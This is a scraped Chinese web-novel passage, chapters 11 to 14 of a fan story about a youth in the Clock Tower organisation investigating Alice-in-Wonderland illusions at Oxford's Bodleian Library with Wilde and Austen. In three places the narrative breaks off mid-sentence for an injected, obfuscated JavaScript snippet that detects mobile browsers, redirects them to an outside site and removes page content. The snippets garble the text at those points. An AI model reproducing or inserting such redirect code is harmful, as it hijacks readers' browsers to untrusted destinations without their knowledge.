管理员递过一份文件,“这是住宿规定,主要是些基本要求。比如不能在房间使用异能,不能带外人进入,晚上十一点后要保持安静……” 茧一眠翻开文件,密密麻麻十几页。其中有一条引起了他的注意:如遇特殊情况,管理处有权在不通知的情况下进入房间进行检查。 茧一眠:“特殊情况是指?” 管理员:“比如设备维护、安全检查之类的,都是常规操作。” 茧一眠点点头,继续翻看。每条规定都写得很官方,但字里行间都透着一个意思:这里的一切都在钟塔侍从的监控之下。 不过房间确实不错,随时可以拎包入住,比他想象的要好太多。如果真遇到什么紧急情况,需要留在钟塔过夜,这里倒是个不错的选择。 11. 第 11 章 自从茧一眠入职后,王尔德的厌班情节忽然加重,每天不是在逃班就是在逃班的路上。茧一眠找到他的办公桌,发现上面的文件都落了一层灰。 失去了射击指导老师,茧一眠只能自己摸索。 “砰!砰!砰!” 三声枪响后,茧一眠缓缓放下手中的枪,摘下了护目镜。汗水从他的额角滑落。这种只存在于电影里的场景,已经成了他的日常。 “又是十环,茧,你的进步真的令人吃惊。在这么短的时间内能达到这样的水平,真是不得了的天赋。”站在一旁的简·奥斯汀在记录本上飞快地记着。 茧一眠不好意思地笑了笑,抬手擦去额头的汗水,半开玩笑地说:“是吧,我也觉得我不得了。” 奥斯汀轻声笑了笑,她的异能力[傲慢与偏见]让她能清楚地看到每个人的情绪波动,茧一眠周身环绕着淡金色的光芒,那是自豪和快乐的颜色。 在常年散发着灰暗负面情绪的钟塔,茧一眠这种知足常乐的性子格外难得。 关于王尔德的缺席,狄更斯首先看不下去了,便派奥斯汀看管茧一眠。 奥斯汀很喜欢茧一眠分享的华国民间故事。其中,她读了很多遍梁山伯与祝英台的故事。两人就这个故事讨论了很久,一方面,她很欣赏故事中的两人,但她并不喜欢这个悲伤的结局,她总觉得会有更好的,更理性的解决方法,但又觉得这个故事如果结局被改变了就不会再那么美,那么刻骨铭心了。以至于她好几次提笔想要给两人写出一个好的结局最后都下不去笔。 对茧一眠来说,奥斯汀优雅知性,说话永远得体,他们的聊天总是很投机。奥斯汀的到来看似是看管,实际上更多是照顾。 他还从奥斯汀那得到了很多钟塔侍从的小道消息,比如,正是奥斯汀的上司狄更斯在议会提议让茧一眠和王尔德搭档。 狄更斯是调查部的部长,性格沉稳,做事一丝不苟,和王尔德那种散漫的性格完全相反。 奥斯汀突然想起什么,开口对茧一眠道:“对了,我们部门最近有个任务,难度不高,很适合你试手。” 她之前向茧一眠科普过钟塔侍从的晋升机制——完成的任务越多,晋升的机会就越大。一旦位居要职,在钟塔侍从中的话语权自然也会随之提升。而有了一定地位,很多事情就好办多了。 简而言之,想要自由,就得先证明价值。 “具体是什么任务?”茧一眠问。 奥斯汀答道:“不是什么危险的任务,主要是调查工作。要了解详情的话,我带你去调查部看看资料?” 茧一眠点头。他还没去过调查部的大本营,正好可以见识一下。 调查部在钟塔的西侧。穿过一条长廊,映入眼帘的是一间巨大的办公室。数十张办公桌整齐排列,每张桌子上都堆满了文件和资料,几乎看不见人。 所有人都在忙碌,有的在电脑前敲打,有的在翻阅资料,还有的在打电话,空气中弥漫着一股浓重的疲惫感。 突然,一声撕心裂肺的嚎叫打破了沉闷的氛围。一个戴眼镜的发量稀少的年轻人猛地站起来,开始疯狂地撕扯自己的头发:“又错了!都错了!重查!全部重查!” 周围的人对这突如其来的发狂完全无动于衷,继续埋头工作,仿佛这是再平常不过的场景。 茧一眠目瞪口呆。 奥斯汀早已见怪不怪,但为了给东方少年留下个好印象,还是为自己的部门解释了下:“那位同僚是负责和情报部对接的。我们调查的信息都要经过情报部核实,一旦被判定有误,就得重新调查。” 茧一眠疑惑,“既然情报部能核实真相,为什么不直接告诉你们?又或者,这两个部门为什么要分开?” 奥斯汀的脸色瞬间阴沉下来:“因为调查部的懒鬼宣称自己只负责判断是否属实。我花了一个月调查一个案子,写了厚厚一摞报告。他翻都不翻,直接在上面画个×。” “我们部门只能从头开始重查,有时候可能就是一个小细节不对,但我们得把整个案子重新查一遍。你知道调查一个案子要准备多少资料吗?要跑多少地方,问多少人,查多少档案……而他们,就只需要在办公室当判官,所有的脏活累活都是我们在干,升职加薪的却是他们——” 奥斯汀说着说着语气就带上了火气,周身的光都变成了浓浓的深灰色缠着赤色。 “啊,抱歉。”她突然意识到自己的失态,赶紧整理了下领口,试图让自己冷静下来,“我不该在你面前说这些消极的话。” 茧一眠安慰道,“没关系,你们听起来很辛苦。” “是啊,最近这种情况已经在好转了,自从狄更斯部长上任后,一直在为我们争取权益,还夺回了调查报告的署名权。”奥斯汀深吸一口气,但语气里还是带着一丝咬牙切齿。 茧一眠附和地点点头。看来钟塔各个部门之间的利益关系也很复杂啊。 穿过这片怨气冲天的办公区,他们来到内间。狄更斯正在电脑前工作,听到敲门声头也没抬。 奥斯汀说,“部长,我想把牛津大学博德利图书馆的案子交给茧一眠,您看如何?” 狄更斯的手指停在键盘上。他抬起头,先是看了眼奥斯汀,又深深凝视了茧一眠。 在那一瞬间,茧一眠莫名从中读出一丝欣喜——终于有人能分担这些永远做不完的工作了。但这种情绪转瞬即逝,很快恢复平静。 狄更斯清了清嗓子,语气平淡地说:“可以。” 奥斯汀走到投影仪前,插入刚从狄更斯办公桌抽屉里拿出的U盘。屏幕上跳出牛津大学博德利图书馆的报告。 “这个案子是——”奥斯汀刚要开口,就被狄更斯打断。 “按规定,茧一眠不能独自执行任务。必须和搭档一起行动,等……” 他还没说完,办公室里就安静下来。在座三人的脑袋里同时浮现出王尔德的身影。 狄更斯的意思是,等王尔德到场再讲解,免得重复一遍浪费时间精力。 但转念一想,王尔德那副懒散的样子,八成会说这种事太浪费时间,甚至可能直接拒绝任务。然后这个即将外包出去的工作量又会回到他手中。 奥斯汀不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063126|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很喜欢王尔德那种花花公子类型的男人,而且他太清闲了,每次见到他那副无所事事的样子就会萌生出社畜的怨气。 而茧一眠想到的是王尔德今早来钟塔打了个卡,随后便跑去外面的餐馆喝茶了。 于是怀着不同想法的三人同时沉默:“…………” 茧一眠打破尴尬的沉默,“那个……王尔德一时半会儿还赶不过来,但我可以等会转述给他。先把任务内容告诉我就行。” 另外两人对视一眼,都默认了这个提议。 投影上开始播放监控录像。画面里,一个学生突然停下脚步,一脸惊讶地盯着某个方向看,但那里什么都没有。他的表情像是被什么东西吸引住了,甚至伸手想要触碰空气。 奥斯汀解释道:“三个月内已经有八名学生报告类似情况,他们声称看到了兔子、猫之类的幻象。这些现象会在图书馆的各个角落出现,但到目前为止没有造成任何人员伤亡。” “初步判断这是某个未登记异能者造成的,虽然没有表现出敌意,但未登记异能者本身就是个问题。” 茧一眠点点头,他已经了解过英国霸道的异能者政策,所有英国籍的异能者都必须接受国家和官方组织的管控,未受管控的会成为非法异能者。 奥斯汀切换到下一张幻灯片,“英国的异能者管理体系很复杂,钟塔侍从虽然是最大的官方机构,但在我们之外还有几个半官方的异能组织,类似事务所性质。他们负责在钟塔侍从、政府和普通民众之间搭建桥梁。” “但那些组织大多不归钟塔侍从和女王管辖,所以我们通常不建议把人往那边送。” “最理想的结果是说服对方加入钟塔侍从,他会有很好的待遇,我们也会为他安排合适的工作。” 茧一眠想到自己的遭遇,微不可察地皱了下眉:“那如果对方不愿意加入钟塔呢?” “那就只能作为非法异能者处理了。”狄更斯接上话,声音低了下来,“要么进监狱,要么被通缉。在英国,不受管控的异能者没有好下场。” 茧一眠不语,内心却暗暗学狄更斯说话:没~有~好~下~场~咦——说的好像加入了能有什么好果子吃一样。 (阴阳怪气jpg.) 奥斯汀见空气冷下来,活跃气氛道:“哈哈,不过这里还有个有趣的漏洞,英国只能管控有英国国籍的异能者。所以经常会出现法国的非法异能者跑来英国避难,英国的非法异能者逃去法国避难的情况。” “就像政治避难一样?”茧一眠问。 奥斯汀点头:“差不多。所以你去接触目标时,最好先弄清楚对方的国籍。如果是英国人,我们就必须把人带回来。如果是外国人——” 她耸耸肩,“那就是外交部的事了。” 茧一眠:“哪种会更好些?” “都好,一种我们可以收获一个有潜力的新人,另一种我们可以少写一份长报告。” 奥斯汀眨眨眼,“所以不用太多负担,放手做就好。” 茧一眠比了个收到的手势,“Yes sir!交给我吧。” 12.第 12 章 茧一眠开着从调查部借来的车,跑了好几家卖茶水店,最后在一家甜品店找到了王尔德。 隔着玻璃窗就能看到他悠闲的身影——坐在落地窗边的位置,面前摆着精致的三层茶点架,正慢条斯理地往司康饼上抹着果酱。 “找你真的好费劲。”茧一眠进入店内,直接在王尔德对面坐下。 王尔德抬眼看了看他,以为茧一眠也认清钟塔内部压抑沉闷的氛围,赞同和他出来散心了。 他笑容里带着几分得意:“要来点什么?这里的司康是全伦敦最好的。” “真的吗?”茧一眠伸手从茶点架上拿了一个金黄色的司康,咬了一口。 ……嗯,有点干巴, “错了,不是这么吃的。司康不能直接吃。” 王尔德拿起一个新的司康,演示给茧一眠看,“首先要把它掰成两半,不能用刀切。然后先涂上厚厚的凝脂奶油,再加果酱……我个人会更喜欢配覆盆子果酱一些。” 茧一眠有样学样地试了一口,配上茶水,比刚刚干嚼的味道好多了。 咪西咪西,但还是有些干巴。 茧一眠咽下最后一口,“对了,我接了个任务。” 王尔德垂眸,陷入沉思,“钟塔侍从这么快就派任务了?” 茧一眠的异能杀伤性强,能直接将物质以概念的性质分解,这种能力用在暗杀上再合适不过。 虽然钟塔现在还没有给他明确的定位,但那些高层有意让茧一眠往这方面发展,加入了不少锻炼少年的社交能力和应变能力的课程。 想到这里,王尔德的眉头皱得紧了些。 茧一眠嚼嚼嚼:“不是,是从调查部那要来的任务。” 王尔德的手僵在半空中,茶杯差点没拿稳:“哈?你疯了?调查部可是钟塔出了名的畜生部——他们的任务又臭又长,费力不讨好。你怎么和他们搅和到一起去了?” 茧一眠撅了撅嘴,“还不是因为某人总是翘班把我丢在大楼里。调查部的简·奥斯汀很照顾我,帮了我不少。” 王尔德想了想,简·奥斯汀的名字他听到过,一个出自贵族家族的小姐,在钟塔侍从里确实算得上正直能干的那一批。 但这不代表他想接任务:“不去,我拒绝。” “但我接下了,按照规矩,钟塔侍从不让我单独行动,作为我的搭档兼导师,你也得一起去。” “不去!” “去吧!去吧!” 十分钟后,王尔德被茧一眠连挤带推地送进了黑色轿车的后座。 茧一眠动作麻利地锁上车门,坐进驾驶位。 他发动引擎,又调整了下后视镜,余光瞥见王尔德一脸不情愿地在后座上整理被弄乱的西装。 或许因为训练的缘故,茧一眠的力气比初见时大了很多,王尔德没能挣过。 他靠在后座,一脸不悦地抱着胳膊,“你什么时候学会这种强制手段了?看来钟塔侍从那套规矩已经把你侵蚀了。权力和利益会让人变质的,亲爱的,这可是会让你的美貌大打折扣。” 茧一眠:“嗯嗯,如果能让你动起来,损失的这点颜值不算什么。” 王尔德语气带着怀疑:“你会开车吗?你有驾照吗?” 他记得自己在档案上看到少年可是什么证件都没有,万一在行车过程中出现事故,一定会被那些嘴碎的同僚钉在耻辱柱上的。 “有,也没有。但我会开车。” 茧一眠熟练地打着方向盘,曾经的他驾照是考下来了,但穿到英国这边就都不见了,所以现在状态是无。 “不过,假如如果没有的话,被警察拦下来会怎么样?”茧一眠问。 王尔德虽然还是不满,但已经接受了现状,“不会怎么样,有钟塔侍从这层身份在,警察不会多问。” “那可真不错。”茧一眠轻呼一声,不得不承认,特权落在自己身上的感觉确实不错。 茧一眠伸手想打开导航,他下意识地想用手指划动屏幕,但触碰后毫无反应。这才想起来这是20世纪,车的配置还不先进。 王尔德:“你知道往哪开吗?” 茧一眠:“去牛津大学……路应该还算好找吧?” 王尔德原本无精打采的眼神突然亮了起来:“牛津?那可是我的母校。去那做什么?” 茧一眠解释道,“图书馆里出现了疑似异能者,奥斯汀说最好把人收编进来。” “又是强制收编。”王尔德撇撇嘴,虽然对这种做法不以为然,但也早就习惯了。 “既然要去牛津,那得准备一下。先掉头去我家,我要换身衣服。对了,路上还得买束花。” “花?” 王尔德的语气难得认真起来,“去看望老师总得带点礼物。” “哦哦,说得也是。” …… 回到庄园后,王尔德很快换上了一套新装束。 白色衬衫采用了前襟抽绳设计,领口略微敞开,袖口宽大松垮,衣料是带着细微闪光的羊毛混纺,在暗光下会泛着光泽。深褐色的腰封由厚实的皮革制成,既有型又舒适。下身是简洁的深色长裤搭配棕色牛津鞋。 “轮到你了。”他从衣帽间里翻出一套衣服递给茧一眠。 茧一眠接过来一看,老三套——衬衫马甲配长裤。外加一件深色风衣。 茧一眠换完衣服出来,风衣是那种极为硬挺的版型,挺括的面料让领子立得很有型,肩线也格外分明。衬衫的领口规规矩矩地扣到最上面一颗纽扣。深色长裤贴合腿型但不紧绷,整个人的轮廓干净利落。 然而当他站在全身镜前时,这身本应稳重的装束穿在他身上,却透出一股浓浓的学生气,像极了某个电视剧里私立学院的制服。 公文包换成背包,记录本换成课本,他就是那种会在图书馆一坐就是一整天的文学系高材生。安静、专注、有着不施脂粉的干净气质。 但茧一眠更期待一套能彰显力量感的衣服,像是一件帅气的夹克或者皮衣。这样的他看起来完全没有气势。 “怎么了?不满意?”王尔德注意到他的表情。 “好看是好看的,但是没有威慑力,这样是不是不利于执行任务啊。”茧一眠转了个身,试图从不同角度看看自己。 王尔德嘴角上扬:“威慑力?你在期待什么?皮衣,墨镜,再配上一把明晃晃的手枪?” 茧一眠:完全说中。 王尔德走近一步,帮他调整脖颈后方的衣领,“最好的伪装就是看起来毫无威胁。没人会把一个文学院的学生和特工联系起来,这样才有利于完成任务。” 他的手指轻轻擦过茧一眠的脖颈,引得后者不自觉地缩了缩脖子。 王尔德:“再说了,年轻不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063849|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好吗?等你到了我这个年纪,就知道青春有多宝贵了。” 茧一眠疑惑:“可你才二十三啊?” 王尔德一本正经地说,“对一个注重保养的人来说,每一天都很重要。” 茧一眠哑然:“我觉得你已经够好看了。” 王尔德毫不谦虚地点头:“我也这么觉得。” 茧一眠:……我夸你就应啊。 —— 从伦敦到牛津的路程说远不远,说近也不近。英国的高速公路修得很好,沿途的指示牌也清晰明了。 正所谓,国家不大随便自驾,两人只花了一个半小时便到达了目的地。 牛津大学的教授办公室里,王尔德和他的老师聊得正欢。 茧一眠站在门外的走廊上,百无聊赖地打量着墙上的肖像画,画框里是牛津大学出身的历代杰出校友。 “您还在研究这本诗集呀?”王尔德的声音从办公室传来。 “是啊,最近发现了一些有趣的解读角度。记得你当年的毕业论文就写的是这个,写得很出色。” “哎呀,那都是您当年的教导。” 茧一眠:…… 两人又聊起学术话题,从诗歌韵律谈到人生哲学,最后还要一起共进晚餐。茧一眠听得直摇头,这场叙旧怕是一时半会结束不了。 他从旁边的架子上抽出一本校园手册,粗略翻了翻。牛津大学的地图画得很详细,每个建筑都标注得清清楚楚。 顺着手册上的指引,他穿过铺着鹅卵石的小径,很快找到了博德利图书馆。 这座始建于1602年的图书馆是欧洲最古老的公共图书馆之一,也是英国第二大图书馆。 门口的警卫拦住他,“这里只对本校学生开放,请出示您的学生证。” 茧一眠默默掏出钟塔侍从的证件,“这个证可以吗?” 警卫看到证件上的黄铜徽章,态度立刻变了。 在英国,这枚徽章的效力堪比军情五处,代表着持有者拥有最高级别的安全许可和几乎不受限制的调查权。 他不仅让开路,还特意打开了旁边的人工通道,“这边请,长官。不用刷卡,您可以直接进去。需要我为您带路吗?” “不用了,谢谢。”茧一眠收起证件。 图书馆内部比外面看起来还要宏伟。高耸的书架一直延伸到天花板,木质楼梯蜿蜒而上。 茧一眠漫步在书架之间。整个空间弥漫着一股特殊的气息,是羊皮纸、墨水和木头混合的香气。 …… 转了一大圈,茧一眠只碰到了几个抱着厚重的书本从他身边走过的学生,没发现什么异常现象。想想也是,那些小动物又不会天天出现,看来只能碰运气了。 他索性享受起了这里的书,虽然这里的文豪都成了异能者,但是还是有小部分人坚持着创作。 茧一眠在书架上看到了几本莎士比亚写的诗集和话剧集。除此之外,他还发现了几本曾经没见过的童话集和小说,作者名字很陌生,但故事读起来蛮有意思的。 虽然文豪们不完全在写书了,可文学是永存的,只要有人在的地方,就会有思考和故事。就像这些新生的作家,虽然名气不大,内容却一样充满智慧和温度。 所谓,文章,千古事。 就算世界变得再离奇,人类对文学的追求永远不会改变。 13.第 13 章 “嗡嗡嗡——” 手机震动声在安静的图书馆里显得格外刺耳。茧一眠赶紧翻口袋,好几个学生同时向他投来目光。他双手合十,做了个抱歉的手势。 快步走到走廊外,茧一眠才接通电话。 “我和老师约好去Quod(一家位于牛津高街的餐厅)吃饭,一起来吗?”王尔德的声音从电话里传来。 茧一眠压低声音,“你们师徒叙旧,我就不掺和了。我在大学食堂随便吃点就行。” “那吃完晚饭呢?你不会还要在图书馆里待着吧?” 茧一眠说,“当然了,我打算守到晚上,碰碰运气。” “哇——”王尔德拖长了声音,不知是该夸他敬业还是说他找罪受。 “你别吃完饭就偷溜,记得到图书馆来。” “知道啦。” 电话挂断。 茧一眠身上有两部手机。 一部是钟塔侍从统一发放的,黑色翻盖手机外壳上刻着钟塔侍从的徽记。这部手机专门用来联络钟塔内部,所有信息都经过电子网络型异能者的加密和监控。 虽然通讯很安全,但同时也意味着没有隐私可言——钟塔能看到这部手机里的一切内容。 另一部是王尔德给他的私人手机,用来传递那些不想被监听的信息。茧一眠把两部手机分别放进不同的口袋,生怕搞混了。 他来到图书馆的计算机室,打开公共电脑,登录学校论坛。在“校园怪谈”板块找到了不少关于图书馆的帖子。 “拉德克利夫阅览室的白兔” 发帖人:匿名用户 今天下午三点左右,我在二楼的古籍区看书。突然看到一只白兔从书架间蹦过去,它穿着小马甲,还戴着怀表!我追过去想看清楚,但它一下子钻进了书架缝隙就不见了。最奇怪的是,我问周围的人,居然没人看到它! “纸牌士兵在巡逻?” 发帖人:牛津剑桥,死磕百年 昨天晚上我在自习,看到四个纸牌士兵排成一列从我面前走过。他们拿着长矛,就像女王的卫兵一样。我还听到他们在小声说话:“别让她发现我们在偷懒”。但是,“谁是她”? “难道书会吃人!?” 发帖人:这也太秃然了 上周在看微分方程时,突然感觉书页开始旋转,像漩涡一样要把我吸进去。我及时把书合上了,但我发誓看到书页里有个帽匠打扮的男人在朝我招手!但之后没再出现过类似的事,也有可能是我学习太累出现幻觉了……? 茧一眠皱着眉读完这些帖子。纸牌、白兔、帽匠……看起来像是《爱丽丝梦游仙境》。 或许,这个异能者是刘易斯·卡罗尔? …… 时间流逝,夜幕降临。 茧一眠在食堂转了一圈,又回到了图书馆。现在,偌大的阅览室只剩下零星几个人。 根据帖子记录,那些怪异现象大多出现在晚上八点到午夜之间。茧一眠看了看电脑屏幕下方的时间,已经九点了。 能经常出入图书馆的人啊……难道卡罗尔转生成某个图书管理员了? 茧一眠翻看着校园网里图书馆的工作人员表。 正查到一半,茧一眠感觉眼前的光线突然变暗。他眨了眨眼,以为是错觉。然而当他再次睁开眼睛时,整个图书馆瞬间陷入一片漆黑,连应急灯都没有亮起。他眼前的电脑屏幕闪了两下,彻底黑了下去。 黑暗中,桌子开始以不可思议的速度伸长,电脑从四方形状变得歪歪扭扭。 茧一眠屏住呼吸,攥起手心,随时准备发动异能。远处传来一阵机械般的滴答声,像是一座大钟在倒计时。 忽然,一双手突然拍上茧一眠的肩膀,王尔德熟悉的声音在耳边响起:“在干嘛?” 茧一眠猛地一愣。他再次眨了眨眼睛,眼前的黑暗像是被人撕开一般消散。灯光重新亮起,阅览室里依然灯火通明。 王尔德正歪着头看他,“怎么了?一副魂不守舍的样子。” “刚才发生什么了?”茧一眠环顾四周。一切都很正常,就像那片黑暗从未存在过。 “我来找你,本想从后面吓你一下。结果你突然站起来,四处张望。我在你面前挥手你都没反应。”王尔德靠在桌边,学着自己之前招手的模样。 茧一眠皱眉,“所以刚才没有停电?” 王尔德笑出了声音,“呵!这可是博德利图书馆,永远灯火通明。就算整个牛津都断电,这里的发电机也能保证持续供电。” 茧一眠沉默了一会:“……那我可能遇到那个异能者了。” “在我的认知中,刚才整个图书馆突然陷入了黑暗。我看到周围的事物都变得歪歪扭扭,然后你拍了我的肩膀,一切才恢复正常。就像是……某种幻觉,大概三分钟左右。”茧一眠回忆着。 王尔德的表情变得认真起来:“不对,从我的角度看,你最多恍惚了五秒钟。” “所以这个异能不仅能创造幻觉,还能改变人对时间的感知?” ……就像爱丽丝掉进兔子洞里,明明只是一瞬的梦游,却仿佛经历了漫长的冒险。 王尔德大学时没少来博德利图书馆,对这里熟门熟路。他带着茧一眠来到监控室,推门时还顺便和值班人员打了个招呼——显然他和这里的工作人员相当熟络。 监控室内十几个屏幕同时运作,覆盖着图书馆的主要区域。茧一眠注意到这些设备比想象中的要老旧,画面也不够清晰,远不如钟塔总部的高科技监控系统。 王尔德指着屏幕给茧一眠介绍:“这个两个屏幕是古籍区,这三个是阅览室,期刊区只有一个……” 他逐一介绍完,捏了捏干燥的喉咙,继续道,“保险起见,你我分头行动,免得同时中招。” “我在这里观察全局,你负责巡逻。记住这些监控的位置,每十分钟在摄像头前比个手势,让我确认你没事。如果你没能按时出现,我就能锁定那个异能者所在的区域。” 茧一眠问:“知道区域后你打算做什么?” 王尔德摆出一副轻描淡写的样子:“写报告啊,汇报异常情况。” 茧一眠:? “不救我吗?” 王尔德双手一摊,“眠,别用那种眼神看我——毕竟我这种辅助型异能者打起架来不顶事,打架的时候辅助要藏好,这是常识。” 茧一眠:??? 哪门子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068288|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常识?打团输出在前抗,辅助躲后面?这不是要把祖宗十八代问候个遍的节奏吗。 吐槽归吐槽,茧一眠还是点头答应了。毕竟这次异能者大概就是《爱丽丝梦游仙境》的作者,肯定不会是坏人。 “那我去了。”茧一眠转身要走。 王尔德:? 王尔德的表情瞬间从戏谑变成了震惊,然后又变成了一种微妙的不满,“你不会真以为我会让你去当诱饵吧?” 茧一眠回过头,黑人问号脸: 不然呢?我们刚才在讨论什么? 一番商量后,茧一眠还是决定采用了这个主意,虽然王尔德显得不是很开心。因为没带对讲机,两人只好用手机保持通话。 茧一眠把手机调成免提模式放进口袋。 “如果遇到异常情况,叫我的名字。” 王尔德叮嘱道。 茧一眠:“好。” 王尔德坐在监控室里,一顿发愁,对茧一眠这种缺乏自我保护意识的态度实在令人担忧。 他默默把“如何培养独立判断能力,而不是盲目执行命令”这一课题加入教育课程。 茧一眠改变了调查顺序,直接去了神学、逻辑学和数学区。这些都是刘易斯生前涉及过的领域,说不定能更好的找到线索。 检查了前两个区域,都很正常。他在摄像头前比了个OK的手势。 “准备去二楼了。”他对着手机小声说。 王尔德的声音从手机里传来,“收到,小心点,那片监控死角比较多。” 茧一眠沿着旋转楼梯上到二楼。这里的书架比一楼还要高,一直延伸到天花板。数学区在最里面,隔着老远就能看到一排排厚重的数学典籍。 就在他走到数学区入口时,眼前的景象突然扭曲起来。灯光像水一样流动,书架也开始模糊变形。 “王尔德,”他刚要开口,脚下的地板突然变得柔软起来,像是踩在化开的奶油上。 他的双脚开始下陷,接着整个人都跌入了一个看不见底的洞穴。 这种下坠感很奇妙。他感觉自己在快速下落,但速度并不快得让人害怕。周围的墙壁上浮现出一排排书架,每一层都装满了书籍。 小说里爱丽丝下落时还能拿起路过的果酱罐看标签。 但在茧一眠周围飘过的,不知为何都是数学课本,封面上写着“数学分析”“复变函数论”“抽象代数”“解析几何”“微分几何”……完全没有翻开的欲望。 茧一眠继续往下掉。书架渐渐变成了各种奇怪的家具:一张倒立的茶几,上面摆着满满的茶具,茶水却没有洒出来;一个飘在半空的座钟,钟摆向左右摆动,发出“踏嗒”的声音;还有一面镜子,他从镜子旁边经过时,看到里面的自己是倒立的。 下坠还在继续。 “这得掉到什么时候?”茧一眠从旁边捞了一个钟表,却发现指针正在逆时针疯狂转动。 ……唉。 希望王尔德发现他中了异能,尽快来解救他吧。 就在这时,茧一眠看到下方出现了一点光。那光越来越大,像是洞穴的尽头。茧一眠做好了着陆的准备,但当他穿过那道光时,发现自己正稳稳地坐在一把椅子上。 14.第 14 章 茧一眠在椅子上坐稳,莫名感觉大腿凉飕飕的。低头一看——他身上的衣服不知何时变成了一条蓝白相间的小裙子,还带着花边和蝴蝶结。 “我靠,这什么玩意!” 茧一眠扯着裙子,却忽然发现手够不着裙摆了。 椅子在他身下迅速变小,或者说——是他在迅速变大。整个人像吹气球一样膨胀,头都快顶到天花板。 茧一眠不得不弯下腰,变成一个尴尬的半蹲姿势,双手还得死死压住裙边防止走光。 直到不再继续变大,他蜷缩着,两条腿不舒服地折叠,头还得歪着以免撞到顶。 茧一眠保持这个别扭的姿势,难受之余,看到桌上多了一瓶写着“喝我”的饮料。按照爱丽丝梦游仙境的经历,这瓶药水应该可以让人变小。 茧一眠小心翼翼地用两根手指捏住瓶子,生怕把它捏碎了。药水闻起来像是加了糖的红茶,喝下去的感觉却像是含了一口薄荷,清凉又带着点刺激。 “是的,这样就对了。”下面传来一个声音。 一阵天旋地转,茧一眠感觉自己像是被人按了快进的倒带键,整个人迅速缩小。那条蓝白相间的裙子也跟着身体变小。 他抬头看看四周,刚才还只到自己膝盖的书架现在又变回了原来的高度。 茧一眠循着之前发出声音的方向望去,发现一只棕毛兔子正抱着一沓文件,时不时看看怀表。 这兔子穿着和狄更斯一样的衣服,戴着一副金丝眼镜,鼻子上还有个小小的墨水印。 更关键的是这只兔子流露出的疲惫眼神,和那种被工作压得喘不过气却依旧□□的气质——像,太像了。 三月野兔·狄更斯版(?) “你好?请问你是?”茧一眠试着打招呼。 “来不及了,来不及了!”兔子自顾自从马甲口袋里掏出一只怀表,慌慌张张地跑开,一路上还不停掉落着文件。 茧一眠连忙跟上,帮他捡起散落的纸张,上面写满了密密麻麻的字,似乎是什么案件记录。 茧一眠跟着那只戴着怀表的棕兔拐进一条走廊。墙壁时而出现一整面的书架,时而又变成一片空白。他的脚步声在这片寂静中显得格外清晰,却听不到前面棕兔的动静。 走廊像是无限延伸,走着走着,茧一眠发现墙上开始出现一些奇怪的标语:“忠于女王,忠于钟塔”、“异能即责任,监控即保护”、“为了更伟大的英国”…… 终于,他看到了一扇橡木大门,门上挂着铜制铭牌:【钟塔圆桌会议,永远在进行中】 推开门,眼前的景象让他愣住了。一张圆形长桌占据了房间中央,桌上摆满了文件茶具。更让人惊讶的是围坐在桌边的“与会者们”—— 主座上是一只雄狮,他正用前爪翻阅三月兔带来的文件。 雄狮右边站着一只身姿矫健的猎鹰。 左边,一只毛色油亮的银色柴郡猫趴在桌上,有一下没一下地拨弄着茶杯。 三只白鸽挤在一起,羽毛蓬松,时不时交头接耳,她们谈话时带着约克郡特有的腔调。最小的那只正在振翅想飞,却被姐姐们按了回去。 一只优雅的天鹅正低头写着什么,修长的脖子弯出弧度。那姿态既端庄又带着几分傲气,看着很像简·奥斯汀。 桌子另一头:一只猫头鹰,一只黑山羊,一只乌鸦,一头斑点猎犬,一只体型硕大的信天翁,一只睡鼠…… 茧一眠的视线在睡鼠上多停留了一会儿,它有些像龙猫,又有些像豚鼠,体型倒是不小,得用两只手才能完全抱住。金色毛发梳理得顺滑,看起来……有些像王尔德? 柴郡猫突然出现在茧一眠身后,“快来坐下!正好赶上我们讨论异能管理条例第二千零一条修正案。” 茧一眠被推着坐下,尴尬地在椅子上换了好几个姿势。他从来没穿过裙子,根本不知道该怎么坐。最后干脆把裙边全部叠起来,塞到屁股底下压好。 一杯冒着热气的红茶自动飘到他面前。 “关于非法异能者的处置问题,我们需要一个更有效的方案。”雄狮用爪子敲了敲桌面。 猎鹰立刻展开双翼,“直接关进监狱!这些人威胁公共安全。” 天鹅优雅地摇头,“不该这样的,太过残酷了,至少要有一个机会——” 柴郡猫舔着爪子,咧嘴一笑,“没错!我赞同!他们有‘被改造''的权利!” “不——!!!”小动物们齐声喊道。 “我觉得应该区分对待,”三只白鸽中的大姐说。 “具体情况具体分析,”二姐附和。 “需要考虑他们的生活背景——”小妹补充。 乌鸦突然开口:“或许定义非法异能者一事,本身就太过严苛?” 猎鹰的声音提高了八度,“你是在质疑女王陛下的决策吗?!” 